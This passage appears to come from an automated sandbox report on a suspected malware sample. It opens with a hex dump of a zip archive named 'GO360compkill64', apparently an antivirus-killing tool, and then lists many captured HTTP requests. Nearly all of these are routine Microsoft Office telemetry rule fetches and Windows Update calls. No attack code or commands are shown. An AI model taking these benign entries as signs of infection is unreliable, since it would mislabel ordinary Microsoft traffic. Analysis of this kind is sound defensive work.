7a 96 bc 5e 39 5b 06 ff e2 df b4 5d 6f 58 bb ea e9 59 77 f6 e9 92 77 0a 96 b1 14 22 5d 60 43 91 9e bd 49 f4 55 29 5d 62 6d 90 Data Ascii: PKGO360compkill64/PKPK

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GDTyRmY9PVNrpbU&MD=x2G2n2XX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
